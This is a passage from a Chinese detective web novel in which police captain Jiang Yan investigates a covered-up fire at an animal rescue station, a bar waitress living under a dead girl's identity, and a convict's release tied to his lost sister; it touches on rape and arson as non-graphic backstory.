高副局瞪了他一眼,跟老同志握手抱歉,“李老啊真是你好不容易过来一趟,我这管教不到位啊!让你见笑了。”
“哪里哪里,早听说你带出来这江队长,能力出众屡破奇案,可造之材啊!”
江岩在一旁翻着白眼听两人互相吹捧,厚着脸皮就是赖着不走,李老同志看不下去了,这才起身告辞。
关上门,高副局指着江岩说:“多大人了还这么莽撞!一点眼力劲都没有。”
江岩坐在高副局对面,翘着二朗腿,“我要没眼力劲儿,您俩还不知道唠嗑到什么时候呢!还不感谢感谢我?”
“行了!就知道嘴贫。”高副局忍着没笑摆出一副义正言辞的摸样。
江岩收起痞气,低声问道,“那人谁啊?没见过啊?还有您招架不了的人呐?”
高副局端起大茶缸喝了口茶水,深深地叹了口气,“以前的同事,一起搭档过几年,后来调走了。”
“有隐情啊?”江岩一脸的看热闹。
高副局竟然没损他,像是陷入了回忆,又长叹一口气说:“升官。现在是省局的领导,不过这个人啊,还是少见为妙。”
“还有您怕的人呐?”江岩笑得找打,但好在副局沉浸在以前的记忆里并无在意。
“这人呐,做事滴水不漏,合作中多次觉得他问题,愣是一点毛病挑不出来。”
“那是您眼拙!要不就是功力不够!”
“臭小子蹬鼻子上脸!”
话虽这么说,江岩留了个心眼,要说高副队眼拙,那他自己可就是眼瞎了,他瞅准的苗头,可不是一般人能盖过去的,看来这个李老同志,绝非什么善茬。
“乔如意说您叫我过来,是有关橘子酒吧那个女孩的事?”
“对,”高副局喝了口茶,顿了这一下差点没把江岩憋死,“你去趟东区分局。”说着拿出张照片,放到面前的桌上。
江岩拿起来仔细揣摩,夜晚路灯下的回头,光线昏暗距离较远,但还是能看清女孩的摸样,“这照片……”
“乔树提供的。”
“这小子!哎对了你刚说,东区分局?”
“对,我之前在东区分局视察的时候,见到过这个姑娘。准确来说,是她的照片。”
“什么照片?”
高副局抿了口茶,眼神凝重起来,“是在一起事故中,拍摄的现场照片。”
“事故?什么事故?
“东区郊外一偏僻处发生的火灾,那儿是一私人创办的小动物救助站,当场烧死了负责的女人。
“我怎么没听说这事?”江岩很是吃惊。
“别说是你,我也是在那场火灾小半年后,去视察的时候才知道这回儿事的。不过发生事故的当儿,正好在我带你去省局学习的期间。我现在说出来你可能知道,就是现在嘉海开辟规划的新区。”
“嘉海?那火怎么回事?”
“那处房子偏僻,周围很远才有人住,发现时早已都烧成灰了,事故原因被判断为电线老化短路,导致的起火,屋内堆积了很多捐赠的收集的废旧布料,一着起来,什么都没了。”
“那这起事故,没再调查调查吗?而且怎么,没任何消息?”
“当时分局里的同志,说是嘉海担心发生这种事影响以后这片地的发展,愣是跟上面的人疏通了关系,把事压了下来。”
江岩赤手拍在桌上,“这事不太对劲儿啊!”
“我觉着怪异,张罗着私下查了查,”说着谈了口气,脑袋不自觉地摇了两下,“什么问题也查到。”
江岩双手攥成拳头,皱着眉头,“那您说的这事,跟那个姑娘有什么关系?她当时在现场?”
高副局停顿了一会儿,缓了缓神,这才接着说:“事故是由附近居民报的案,现场围观了不少人,那个姑娘,我当时在档案里的一张现场照片里见着这姑娘。”
江岩一听立马警觉起来,“她怎么在现场?”
“我知道这案子后想找她了解情况,谁知再没寻着这姑娘的踪迹。”高副局靠在椅背上,长舒一口气,“那天乔树拿着照片查档案,正好被我撞见,听他一说,感觉事情没那么简单。”
江岩陷入一阵深思,他起初也就看那姑娘眼熟,而且听闻橘子酒吧没有女服务员,这才上前一探究竟,没想到歪打正着刨到了个大坑。
“这事你怎么看?”高副局幽幽地来了这么一句。
江岩仔细梳理了一番,大胆的假设已经在他大脑里构建,但此时他轻咳一声,收敛了思绪,“这个女孩,很可能是突破口。”
高副局没忍住笑了,“不像你啊?怎么?乔树同志功劳不小啊,把你给带上正途了?”
江岩嘿嘿一笑,“您就别损我了,有什么资料就赶紧贡献出来呗,省得我在这儿又碍您眼。”
“没资料。”
这句话搞得江岩一头雾水,“这什么意思?当时的档案呢?记录呢?您没整回来?”
高副局摇摇头,“要
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不我让你去东区分局干嘛!有什么想知道的,自己调查去!”
“好好好,您老说了算。”
看着江岩抹着后脑勺出了办公室,门也不知道带上,高副局的神情逐渐凝重起来。那起火灾固然有蹊跷,但更让他在意的是,那个完全寻不着踪迹的女孩,眉眼之间有几分熟悉。
要是当年他多关注一下,也许那个孩子也长大成人了。
江岩出了高副局办公室,整个人木木的,可能是接连工作时间太长,他感觉大脑有些乏,迎面过来的眼镜男乔树,他也没有看到。
“江队你没事吧?”
江岩眼里冒金星一句话没说,直愣愣地往办公区走,乔树不做声跟在其后。
到了办公室,本喧哗的人一下子都安静了下来,都望着不同寻常的江队,直到他倒在长椅上,打了个大大的哈欠,拉着乔树坐在一头,枕在他腿上,嘴里含糊着“困死了……困死……”
其他人看了看瘫睡的江队,又看了看一脸嫌弃的乔如意,有惊无险地喘了口大气,继续之前的说闹。
乔树找了几本书垫起来给他当枕头,把他留在办公室的大衣盖上,一切处理妥当后站在长椅前思索,这天气好像不用盖衣服,算了盖都盖了又热不死他,转身忙自己的工作去了。
虽说江岩心里早有准备,但案件调查的困难还是让他始料未及。此前的记录毫无突破口,东区分局对事故的了解也只限于记录,当时负责的人调走的调走,离职的离职,走访知情的人也打探不出丝毫猫腻,这件事果真就如案件记录上那么明了吗?
江岩从窗前转过身,突然出现在办公桌前的乔树吓了他一跳,“我去乔如意你魂儿啊你啥声都没有!”
乔树推了下鼻梁上的镜片,并无在意他的话,一本正经地说:“下个月29号,姜雪峰出狱。”
江岩窝在椅子里,眼神定定地盯着一处,淡淡地开口道:“我知道。”
过了好大一会儿,才抬起头,“还有事吗?”
“你脸色不太好……”
“没事你出去吧。”江岩打断了他的话,看样子并不想多说什么。
乔如意跟了他三年多,看惯了他的脾性,这人看着大大咧咧,实则粗中有细,心思细腻得很,加上专业技能过硬,旁人基本上看不出他到底在想什么,也猜不透他心里装着何事。但刚跟着他的时候,高副局就跟他提起过队长妹妹的事,所以他明白,明白涉及姜雪峰的事时,他表现出的大为不同。这几个字就像紧箍咒一般如影随形,随时能把他们万能且无敌的长击溃,以至片甲不留。
江岩从没再局里同事面前提起姜雪峰的事,除了默许的高副局,也没有人知道他在调查十多年前的案子。不过乔如意向来心细,心细得令江岩都曾连连赞叹甚至佩服,愣是自己察觉暗自观察出来这回事。两人搭档得久了,江岩倒也坦白,一五一十地讲了个清楚明白。
“明天,我陪你一起去。”
江岩抬眼看他,似是有些惊讶,眼皮颤抖了一下,少有的不自然地咧嘴笑了,“夏天要来了。”
她喜欢夏天。
9. 黑色飞鸦 05
公共墓地,乔如意直立在一棵叶正浓密的树下,看着不远处站在一不起眼墓碑前的江岩,他的背影看起来很单薄,一不留神可能就被风卷走了。也唯有此时,他才会觉得自己那个无所不能的队长也是个活生生会失意的人。
他知道江队年少时失去了妹妹,可他不理解他的悲伤为何包含有莫大的愧疚和亏欠,压得那个意气风发的男人黯然失色。
“你慢一点!”
乔如意听到身后的声音,转身注意到一中年男士扶着一位女士上台阶。
“伯父伯母您们好!”乔如意毕恭毕敬地鞠了个躬。
两位长者看着这人显然意外,紧接着抬眼果然看到了江岩。
“乔树同志啊!你是陪江岩一起来的吧,真是谢谢你了!”江伯父说着双手攥着乔树的右手,似有莫大的恩情。
“您言重了。”
“江岩这小子给你们添了不少麻烦吧,也多亏你们一直迁就着他。”
“怎么会呢,我们都是跟着江队长学习,是我们给他拖后腿了才是。”乔树这番话说得既诚恳,又不失谦逊。
江岩注意到这边的动静,颇不情愿地走过来,有些扭捏地站在众人面前,“你们怎么上午就来了?”
“小黎今年十八了,也算是个大日子,我这不就催着你父亲早早地过来,平日里也少来看她,生日可得好好陪陪小黎。”
江岩这才注意到两位胳膊上跨的手里提的一大堆东西,一路拿到这里也甚是辛劳,忍不住鼻子一酸。
“好了你少说两句。”江父快速看了眼乔树,又将视线落回江岩身上,“你妈呀就爱唠叨,别听她的。”
“那行局里还有事我先回去了。”说着推着乔如意一起离开。
车上,江岩坐在副驾驶的座位,胳膊肘撑在车窗上,眼神飘向窗外,树木郁郁葱葱,像是新染的颜色格外鲜亮。
江黎是个极为聪明的孩子,也有着不符合年龄的成熟,各种成绩优异不说,小小年纪懂事又礼貌,谁见了她都是夸。课程上她比同龄的孩子学得快,念书跳了一级,即便如此放在学生堆里也绝看不出她年龄小,甚至还有着超脱的气质。唯一可以说道上的就是她跟哥哥两人势同水火,经常有事没事吵在一起。父母不仅向着江黎不说,还总苦口婆心地教诲他没有做哥哥的样子不知道让着妹妹……
“江队?江队!”
江岩从回忆中惊醒,“怎么了?”
“你怎么样?”说完顿了一下,瞥了一眼江岩,“江伯父伯母都是通情达理的人。”
江岩苦笑了一声,淡淡地说:“是吗。”
妹妹的事他们从来没有训斥过他,可这比狠揍他一顿还要让人难受。这么多年,他知道父母过得很不好,可也从未迁怒过他。他们的善解人意通情达理,无疑使得他心中的自责更为深重。
“先把救助站火灾的案子搞明白了。”说着双臂环于胸前闭目养神。
乔如意看他不愿再谈,闭上嘴乖乖开车。
一辆红色轿车噌地停在橘子酒吧门前,酒吧门口的服务生凑上前,“这里不能停……”
话还没说完,一位衣着性感的女人从驾驶座上出来。
“玫小姐是您啊!”
那位尤物摘下墨镜,把钥匙丢给那位服务生,涂着鲜艳口红的双唇飘出几个字,“把车停了。”
服务生微微弯腰接过钥匙,“是。”
女人走进酒吧,此时的酒吧刚开始营业,放着舒缓的音乐,不知道冯麦哪根弦搭错了竟然放这种音乐,心里这么想着,眼神落到了秋原身上。
她正面朝吧台专心致志练习调酒,耿山南在吧台里侧静静观摩。
女人嘴角不自觉地扯动发出冷笑,秋原转过身注意到她,眼神和表情都没什么变化,这个反应让女人极为不爽,当然眼前这人并没有哪点顺她眼。
“山南哥教不会蠢货就不要浪费时间了。”
秋原很佩服她,一句简单的话都能被她说得抑扬顿挫,同时她更疑惑的是美得不可方物的女子,也会说出各种不符合其形象的话。
“秋原学得很快。”
对耿山南,女人还是尽量给足面子,所以本想嘲讽秋原的话也拐了个弯,“也是某些人太没有自知之明了,几斤几两也不自己掂量掂量。”
“哎呦呦大美人你什么时候回来了?”冯麦不知从哪里冒出来。
女人白了他一眼,“怎么?我回来还要给你报备啊?”
“哟呵那可不敢,不过说真的,出趟国回来真是越来越好看了。”
“小小年纪嘴倒频得打滑,静山呢,楼上?”
“嗯哈。”冯麦倒也不生气,说着做出个请的手势。
大概对美的事物,人们的包容心也会不一样。
女人趾高气昂地从众人面前穿过,秋原嗅了嗅,很香的味道,不腻不过,甜得人心情荡漾。大概,这才是女孩子该有的味道,甜甜的,像是诱人的水蜜桃。
最近酒吧人渐渐多了起来,服务生们倒也应付得过来,只有秋原她一个女服务生这件事,她自是看得出来,但究竟为何,却无从得知。
“秋原,门口有人找。”一个服务生端着空酒杯走过吧台。
秋原满是疑惑地往门口走,喝醉跳舞的人东倒西歪,左右闪避到了门口发现竟是意想不到的人。
“江队长,您找我?”
江岩转过身,看着她笑眯眯的摸样,没来由地有些恼,但还是尽量克制着,公事公办地说道:“秋原是吧?”
“是我,江队长这是来喝酒,还是要审讯我?”
她保持着客气的笑容,语调里还带有些许调侃的意思,不禁让江岩质疑自己此前的联想,“我不是来喝酒的,不过审讯这词也用不上,有几个问题,想问问你。”
酒吧门外,一下子安静了许多,两人对视而立,月光照出的影子惨惨淡淡。
“这个人,是你吧?”江岩举起一张照片,单刀直入地问道。
借着灯光,秋原皱着眉仔细端详,突然笑了,“对,是我。”
倒是没料到她会如此爽快地承认了,这让江岩觉得愈加有意思了,“你知道这是哪儿吧?”
“瞧您说的,我要不知道这是哪儿,怎么会出现在照片里呢?”
“说说当时情况。”
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>“哎都这么久的事了,我又怎么说得清楚。”说着做出一副全然无辜的模样。
江岩点了根烟,低头吸了一口,倒也不急,耐着性子,吐了口烟圈说道:“知道什么说什么。”
秋原似是在费力地回忆,“再往城外走,郊外,当时还是有坑有山的,一小山包上的房子起火,当时引起了不小的轰动,我那时候正巧在附近去凑热闹瞧了瞧,什么都没捞着,没想到还入了镜。”
“你去附近哪里?干什么去了?”
“这我倒真不记得了,兴许是玩乐去了,我能记住还有这事已经相当不容易了。”
“你认识那房子主人吗?”
“那人啊,”秋原撇撇嘴显得有些嫌弃,“我听别人说的,一特吓人的中年妇女,脸嘴鼻子几乎都分不出来,手指都是半截分不开的,听说是烧伤的。”
江岩心想她倒是知道得挺清楚的。
“照你这么说,出事后去看她的人不少,那你知道那妇人有亲近的家人或朋友在吗?”
“嘁,看她的人?那些人也算啊!不过都是凑热闹,活着时没一人出现,死了倒知道围观。”话语间满是鄙夷,注意到江岩正盯着她看,才发现失了态,忙恢复之前的语调,一副欠揍的模样,“呵呵,当然也包括我。”
“你那时候已经来须燕一年了?还不知为何出现在救助站附近,正好就碰到了这事?”
秋原察觉出他眼神里的怀疑,心里没底,不知他到底看出了什么,“你说我倒也倒霉,谁知道就碰到这事,多晦气。”
“那你知道,死掉的妇人无私救助过多少流浪动物吗?”
“善良又有什么用?还不是救不了她自己。”
“你这话什么意思?”
“这话什么意思,江队长应该比我更清楚。”话赶话顺势说出了口,秋原就意识到自己说多了,悻悻地闭嘴。
江岩灭了烟头,“你知道什么说清楚。”
“我知道的,都已经说了,接下来的,该是你们警察的事了,不是吗?”
江岩看着眼前仰视着他的姑娘,桀骜的气势让他还挺意外,留下了电话号,让她有想起什么立即联系他。
秋原看了看手里的字条,再抬头时神情已满是落寞。她在心里一遍又一遍说着对不起,没有人能听到。
近零点玫基下楼,她一出现就有不少人围了上来,争着抢着要跟她喝一杯,刚开始秋原可能还会担心一下她,但自从见识过玫基的本事后她就大可放心,这样的臭男人根本不是玫基的对手。更何况还有陆川在。
玫基云淡风轻地将众人搞定,陆川送她出了酒吧,车已经停在门口。
“不用送了。钱域找过我哥了,上次的事他不会再计较。牵扯到警察这事,也是可大可小,你多劝着些,静山有时做事什么都不在乎,我说再多他也无所谓,你替他多考虑清楚。”
“我知道,你慢走。”
红色轿车隐匿于黑暗中,陆川慢慢收回视线,他有浅浅的预感,要有事情发生了,不是他所能阻拦的。抬头望向夜空,快满月了,而此时乌云遮月,肉眼看不到的地方不知在上演着何种汹涌澎湃。
10. 黑色飞鸦 06
乔树赶在28号回来,得知局里风平浪静没出什么事,这才松了口气,一屁股坐在椅子上。
“副队你怎么了?”小刘一脸关切地问道,并递了杯水给他,“你这几天去哪里了?都见不着你人。”
“没事,出差,”说着把杯里的水一饮而尽,接着问道:“这几天江队有什么异常吗?”
“江队?”小刘并不知他所指何事,思索了一番,说道:“除了救助站火灾的事毫无进展,他一天到晚窝在办公室,除此之外没什么事了。”
“行我知道了,谢谢,你忙吧。”说着把杯子递给小刘。
乔树走到长椅前,用脚轻轻地踢了踢长椅上躺着的人的腿,那人连眼睛都没睁,不满地挥了挥胳膊示意不要打扰,乔树对这犯了懒病的人无可奈何,只得投身于工作去了。
等江岩醒来,已是半夜,局里亮着灯,还在加班的人所剩无几,他翻身坐起,胳膊肘撑在腿上,神智还有些迷糊。
他做了个很长很长的梦,梦里的他还是年少,和妹妹一起长大,一起度过了格外漫长的夏天,蝉鸣声不断,梦就没有结束,日子就没有尽头。神奇的是,梦中的他知道自己在做梦,那个跟他追逐嬉戏的妹妹并非真实存在,他哪是什么会跟妹妹“和平相处”的哥哥啊,但他就是不愿醒来,不愿回到残缺的现实中来。
他已经许久不做梦了,这个梦倒是稀奇,满是怅然,睁眼许久,都无法从这个梦中释怀出来。
他打着哈欠站起来,伸伸胳膊熟络筋骨,无意中瞥到一亮灯下的人。
“哟呵,乔如意你什么时候回来的?都不跟我报告了,眼里还有我这个队长没?”说着坐在乔树的办公桌上。
“也不知是谁上班期间偷懒睡觉还睡到了半夜。”
江岩嬉笑着说:“好!不错!果然是思想觉悟相当高的同志啊!以后要注意这种情况绝不能在咱们局里发生!”
乔树拿工作笔记敲了一下他的腿,“说正经的,你怎么知道秋原这人有问题?”
“要不然我能是你领导?”
乔树忍住想揍他的冲动,不过眼前这人越是没正形,他越觉得不安。
“你专门让我过去一趟,是早有预料?”
“八九不离十吧,说结果,怎么样?”
“我在岭城确实查到名叫秋原的人,不过这个姑娘因为意外,已经死了快两年了……还有,怎么说呢,她算是私生女,她父亲秋辉把她从生母那儿抢过来,后来结婚生了儿子就再不怎么管她了,喂你有没有听我说?”
“啊听了听见了,还有什么?”江岩收回视线,看向乔树。
“据当地人描述,她生母并非当地人,而是路过岭城承包当地项目的包工头的妻子,秋辉见色起异,□□了那个女人。包工头也不怕地头蛇,带了帮兄弟直接找上门了,后来,应该是用钱解决了。不知真假的是,有人说这俩人合谋放火烧了帐篷里的女人,好在女人命大活了下来,伤得挺重残疾了,再往后包工头带着施工队走了,自然不要这女人了,女人就留在岭城乞讨,谁知还生了个女儿。”
“就是秋原?”
“对,秋辉听说女人生了,就把孩子抢了回去,也就是秋原。酒吧里自称秋原的人果然有问题,要不先带回局里?”
江岩抬手打断了他的话,“这件事,先谁都不要说。”
乔树不明白他这是何意,但看他神情严肃,倒也没有多问。
“她女儿怎么死的?”
“秋原越长越大,有人说跟以前的女人越来越像,而且秋辉后来结婚有了儿子,各种因素下就不再管秋原了,经常能看到小姑娘一个人穿得破破烂烂地在街上晃悠,还有人说看到过小姑娘跟那个女人在一起,不知道什么时候这话传到了秋辉耳朵里,打了她还不许她再见女人,再往后就是在街上发现已经死了的小姑娘。”
江岩怔了一下,开口问道:“死因是?”
“据尸检报告是死于重度营养不良导致的自发性低血糖。”
“好我知道了。行了,不早了别加班了赶紧回去休息,省得局里总有人背地里说我虐待你们。”江岩说着又回去,窝在了椅子里,乔树知道他今晚是不打算走了。
江岩一夜未闭眼,思考着乔如意所说,又联想到“秋原”的话。
“那人啊,我听别人说的,一特吓人的中年妇女,脸嘴鼻子几乎都分不出来,手指都是半截分不开的,听说是烧伤的。”
那个女人,应该就是秋原的生母。被歹人侵犯,被丈夫抛弃,连两人毫无人性的陷害都死里逃生,最后却又是葬身火海。而那些伤害她毁了她一辈子的人,仍过得好好的,也不知到底是不是命。
他突然有些理解秋原的话,但这其中的故事,她究竟知道多少,她又到底是谁,他还没有捉摸清楚,他总隐隐觉得,她会牵扯出来更大的事情。
一大早就来的小刘看到蜗居在办公室的不明物种不由得嫌弃,把带来的一大堆早餐放在桌上,叹着气说:“老大不小的人也不注意注意形象。”
江岩这才迷糊了一小会儿,睁着眼看着漆黑夜空渐变为刺眼的白昼,思绪飘出很远,此刻想收也收不回来。
早上来上班的人陆陆续续,一进到办公司都正襟危坐,虽不知何事,但办公室里诡异的气氛感染到了每一个人,三三两两窃窃私语,谁也不敢招惹江岩。
江岩忽然嗖地起身,把其他人吓了一跳。
“江队,你这是怎么了?”小刘抱着几份文件停在门口,一时之间进退两难。
“我出去一趟,有事找乔如意。”
“是,是。”
江岩还没走到门口,乔如意就出现了,“高副局办公室有请。”
“什么事?”
“没说,但看着挺急。”
江岩越过众人风风火火地走了。
等他从局里出来,比计划时间晚了半个小时。门口停着的车响了声喇叭。
乔树从驾驶座上探出头,“上车。”
“你跟我干嘛,要是有事……”
“高副局安排的,有事张队会顶上。”
张队是二队队长,跟江岩说得上是冤家。
江岩无话可说,只得乖乖上车。这
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个乔如意,说好也好,工作能力态度一丝不苟,说不好也有那么回事,做事挑不出毛病也不见得是件好事。
一路上江岩都有些坐立难安,乔树侧目瞥了他多次,“你是坐仙人球上了?”
“好好开你的车!”
“放心时间来得及。”
过了一会儿,乔树思量之下还是开了口,“这几年你多次看他,什么都没问出来,现在他出狱又能问出什么究竟。”
“问不出什么……可我总觉得那件事有问题,姜雪峰这人,看着挺老实的……”
“老实的人干坏事多了去了,这可不像你……”乔树这话说了半截,话锋一转,“你是怀疑,有人在背后指使他?”
“这我倒没发现,不过要是这样的人真存在的话,那可就麻烦了……”
“能让整个案子毫无破绽,还丝毫不漏踪迹?”
江岩没有回答,乔树已经摸清楚他在想什么了,踩下油门飞快赶去。
两人的车在路边一不起眼的位置停着,江岩的眼睛死死地盯着大门,生怕漏了什么幺蛾子。
“如果真有那么个人存在,要我的话也绝不会今天出现。”乔树突然来了这么一句。
江岩没搭话,他不是不明白这点,但任何有概率的可能他都不想放过。眼睁睁看着姜雪峰出狱,大概更是为了折磨他自己。
大门开了,一个人走了出来,远远地只能看个大概,洗得发白的牛仔裤和同样破旧的纯色衬衫,看姿态已不是年轻人了,带有木讷的沧桑。
江岩一眼就认出那个男人就是姜雪峰。
姜雪峰。
男人四下观望,没有人来接他,他在门口站了足足有三分钟,不知道在思索什么,似乎在心理建设之后,终于鼓起勇气迈开了步子。
男人走出几百米外,乔树发动车子准备跟上,江岩抬手拦住了他。
“你看那人。”
顺着他的视线,乔树看到街对面一形迹可疑的人,正好被并排走的几个女生挡住了身影,但不难看出是在尾随着姜雪峰,他灵光一闪,“有人要对他下手?”
江岩一口老血差点吐出来,“看仔细了。”
那人的身形过于纤瘦,更像是个女人,戴着帽子看不清楚,但那人的动作举止则佐证了这一事实。
“女人?有点像……”乔树没有说完,他知道江岩肯定也看出来了。
他看向江岩,发现他眼里闪着异样的光,准确来说,此时的他更像是发现猎物的猎豹。不论是谁,都让停滞了十年的案子有了突破口。
姜雪峰步履迟缓地走在街上,他的外貌看着已比实际年龄苍老许多,眼神无时无刻不透露着怯意,他无措地向四周张望,周围已经发生了翻天覆地的变化,所有的一切都让他感到陌生,无所适从。
更令他感受到打击的是,没有人来接他,哪怕来看看他。他的妻子,他的女儿,他曾经的家,可能她们都不想再见到他了,想到这儿,他的背愈弯了下去,步伐也更加沉重了。
十年刑期,物是人非,这个城市,已经没有足以让他容身的理由了。
11. 黑色飞鸦 07
出狱后的姜雪峰,不可能再回到曾经的家,他毫无颜面站在妻女面前。原来想成为谁的丈夫,谁的父亲,是需要如此大的勇气,而对于此时的他而言,这些早就磨灭在遥遥无期的监室生活当中。
他不知道自己还能做什么,迷茫,无助,他的人生停滞了十年,恍如隔世,他的名字,他的身份,他的一切,都被这十年的时间车轮滚压过,什么都不剩。他徘徊了好久,饿肚子,没地方住,直到一个包工头在小饭馆吃饭的时候,看到了饿得饥肠辘辘的他。
须燕市高楼大厦崛地而起,许多工地都需人手。他跟着建筑工地的包工头干起体力活。试用了几天,工头就把他留下了,准确来说是深得工头的心,干事勤快话不多。每天虽是灰头土脸的,但至少有饭吃,有张席子睡。
工友们见他面生热心肠地问是哪里人,他怕被人认出曾是上了当地报纸的罪犯,灰溜溜地闪到一边,从早到晚独来独往。
一来二去工地上的人都当他是个怪人,看他的眼神也有些异样。
每天的工钱姜雪峰都仔仔细细地收着,放在贴身的口袋,上了钱的当,可相当清楚这钱的厉害。除了吃饭,他唯一的奢侈就是每天一根烟,烟雾在身体里四下乱窜时,饱受折磨的心神才能稍稍好受一些。
夜里的闲暇时间,趁着夜幕,他偷偷跑到原来的家附近,却怎么也找不到回家的路了。借着买烟向小超市的收银员打听附近的事,这才得知这一片重新规划,以前的住户都已经搬走了。
“哎?我怎么看你有些面熟?”一个满头白发的老者蹒跚走向收银台,认真地盯着姜雪峰的脸。
姜雪峰猛吸一口烟,低着头谁也不敢看,目光闪烁中匆匆离开了。
走在夜里的大街上,他才松了口气,低着头漫无目的地走着。
“哎!雪峰!”
姜雪峰愣住了,像是被钉在了原地怎么也挪动不,费了好大劲儿,他才转过身。
“果然是你这孩子,是我老得太快了,都不认识我了?”老人露出慈祥的微笑,赶得太急还有些气喘。
“梅,梅阿姨?”姜雪峰颤抖着说出这几个字,眼眶有些泛红。
梅阿姨缓步走近,那一瞬间姜雪峰有种曾经的一切在走向他的错觉。
两人坐在路边的长椅上,姜雪峰习惯性掏烟盒,抖出根烟的瞬间注意到身旁的梅阿姨,又收了手,他把烟放回裤子口袋。
“出来了怎么都不说一声?”
姜雪峰苦笑一声,“哪还有脸,她们肯定不想见到我,这些年没有我她们有她们自己的生活,我突然出现岂不是破坏了她们原来的生活了,本来就让她们受罪了……”
“谁还没年轻过,谁还没犯过错,这么多年你也受了惩罚了,当年的事就让它过去吧,说不定澜筠还一心等着你呢!”
姜雪峰胳膊承在膝盖上,没有言语,沉默中突然想到什么,“我听刚那人说之前住这儿的人都搬到北区了,您怎么还在这儿?”
梅阿姨微笑着,眼睛弯弯像是月牙,满是慈容,听她说话会有莫名的心安,“我这在这儿住了大半辈子了,不想离开,孩子们在这儿给我寻了个轻便的活,老了倒还算有个用处。对了,过两天你再来一趟,孩子们之前说过澜筠搬哪儿了,看我这儿脑子老了不中用了,我去给你问问。”
姜雪峰双手握紧梅阿姨的皱巴而干枯的双手,眼里的泪没忍住掉了下来,他低着头强忍泪水说:“谢谢您!”
梅阿姨安慰他说:“出来了就好,出来了好好做人,还有半辈子呢!还长着呢!”
梅阿姨让姜雪峰久违地感觉到了,作为一个人的感觉,受到关心的感觉。他还从梅阿姨那儿得知薛澜筠的具体住处,还知晓女儿姜海蓝现在在新区上大学,她们现在生活得很好,她们依旧很努力地活着。
有时他会在天黑后去她们现在的住处,坐在楼下花坛边喂了一夜的蚊子,等她们房间的灯熄了,整栋楼都再无灯光,他才踩着月色回工地。
为了省些钱他都是徒步走来再走回去,在漆黑的夜里他不用担惊受怕,不必担心谁把他认出来。
他还在一个休息的傍晚去了女儿的学校,远远地看着进进出出无比鲜活的孩子们,他感到从未有过的开心。他的女儿也像这些孩子们一样,安安稳稳地读书上学,可能甚至交了个男朋友,过她自己的生活,走她想走的路。只要男孩儿人可以真心对女儿好,他绝对会支持女儿的选择。
想着想着他的嘴角忍不住上扬,沉浸在想象中的他突然撞上一个路人冰冷的目光,一个激灵使他清醒过来,想什么呢,女儿又怎会需要他的支持,避而不见可能还来不及呢。
他又想起女儿在他入狱前哭泣的嘶吼,她说她再没他这么个爸爸,不知道她还记得吗。那时候她那么小,才几岁的光景,他多希望能有个橡皮擦把那段记忆擦除掉。
他错过了那么长一段时间,女儿从小小个头成长为亭亭玉立的大姑娘,他没能亲眼见证女儿的蜕变,在她生命中那么多重要的时刻,他都不曾出现,甚至是成为她光鲜生活的耻辱,她再不愿提及的伤疤。
这道阴影如此之深,以至于活了半辈子的大男人,仍像个无措的孩子,怎么也不敢迈出那一步。他不知那一步将迈向哪里,是万丈深渊,还是足以冰释前嫌。
他早就不敢奢求任何人的原谅,只敢远远地探视着原本属于他的生活,是他毁掉了,是他亲手毁掉的。
这天午饭时间,姜雪峰去工地门口买了包烟,蹲在路边点上了一根,正午太阳正毒,顶着烈日干了一上午活儿,此时他头脑犯晕。
“姜叔叔,我是海蓝同学,有些事想找你聊聊。”
姜雪峰的手一哆嗦,烟头上的烟灰滑落,无声地落在地面,他缓缓地抬头,看到一个和女儿差不多大的姑娘站在几米开外。
“海蓝?你是海蓝同学?”姜雪峰本空洞的眼一下子恢复了神,惊喜中带有不可思议,热切的眼神望着眼前的姑娘,他好担心这一幕是假的。
两人坐在工地稍远处一小饭馆里,没几个吃饭的人,小小的电视机放着狗血的连续剧,声音大
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得震耳朵。头顶一个大风扇呼呼地转悠却没什么凉意,热风搅来搅去,桌面地上肉眼可见的油渍,看样子这家店有些年头了。
姜雪峰点了一大份面,姑娘说吃过了饭坚持什么都不点。
“海蓝……她怎么样了?”姜雪峰盯着面前的那份面,张了几次嘴才问出来。
“她挺好的。”
“她有没有说起……算了,她现在好着就行,她妈妈呢?你知道吗?”
“阿姨也挺好的。”
姜雪峰耷拉个脑袋,他已直不起自己的腰板了。
“姜叔叔,当年的事,海蓝怎么都不肯相信……”姑娘没有说完,故意留了半截,仔细观察着对面的人。
“我也不信……”他的眼神有些飘渺,不知思绪荡去了哪里。
“不信什么?不是您做的是吗?”
姜雪峰没料到她会这么问,沉默了一会儿才开口道,“都是陈年往事了,是我犯浑,我活该。”
“那个女孩,您应该知道,出事后没几天就跳楼了……”
姜雪峰的头低得更甚,桌子下旁人看不见的地方,他的手紧紧攥成了拳。
“你□□了她,是不是?”姑娘猛地来了这么一句,姜雪峰倏尔抬起头,惊恐地瞪大了双眼,急速说道:“我没……我……”
后面的话再没有了下文。
分开时姜雪峰连连道歉,姑娘看着他一瘸一拐的背影,神情复杂。他佝偻着腰,精气神全无,看样子比实际年龄大很多,一步一步走得格外沉重,更像是个走向终点的迟暮老人。
他连道歉的理由都没有搞清楚,就摆出一幅反省的,悔不当初的施暴者姿态。
太阳明晃晃的,姑娘走在树荫下仍觉得阳光过于刺眼,迫使她产生无处遁形的恐惧。热浪一阵一阵烤得直晕乎,本就没吃什么东西,步子也轻飘飘的。
“江黎!”
姑娘突然停住了脚步,也许是这天太热,又或是没吃饭的缘故,竟让她产生了幻觉。可这一声太过于真实。她听得真切,可还是没有回头,片刻过后继续走起来,更像是走路累了停下来歇歇脚。
没走几步,身后的脚步声愈发清楚。姑娘忍着不回头,脚步却不那么利落。
一高个男子快步挡在她面前,似笑非笑地说:“好久不见,沈泠。”
“江队长,好巧啊,您认错人了吧?我是秋原。”姑娘微笑着说。
“认错人?你就打算这一句认错人,就想把我说服?”
“抱歉江队长您真的认错人了,我不知道你在说什么。”说完转身要走。
“沈泠可能死了,那江黎这个名字,你不会毫无想法吧?”
听到他说出口的名字,姑娘停住了脚步,眼皮跳了一下,片刻后稳稳声音答复道:“您真的搞错了,我不认识江黎,更不是你说的什么沈泠。”
“我倒是不介意带你回警局查查你到底是谁。”
姑娘一时气急转身的瞬间眼前一片花白,没站稳蹲坐在了地上,江岩皱着眉还是出手扶住了她。
12. 黑色飞鸦 08
江岩从座椅下摸出瓶水,拧开盖子递给副驾驶座上的姑娘。
“谢谢。”
“不用客气,我并非真心想帮你。”
听他这么说,姑娘没接话,举起矿泉水咕咚咕咚喝了小半瓶。
“秋原就是救助站那个妇人的女儿?”
“秋原”知道他早晚都能查到,可不应该是现在。清楚自己瞒不住了,此时她只能点头。
“你跟她们什么关系?”
“那个人帮过我,把她女儿的证件给了我。”
“帮你?她帮过你什么?”
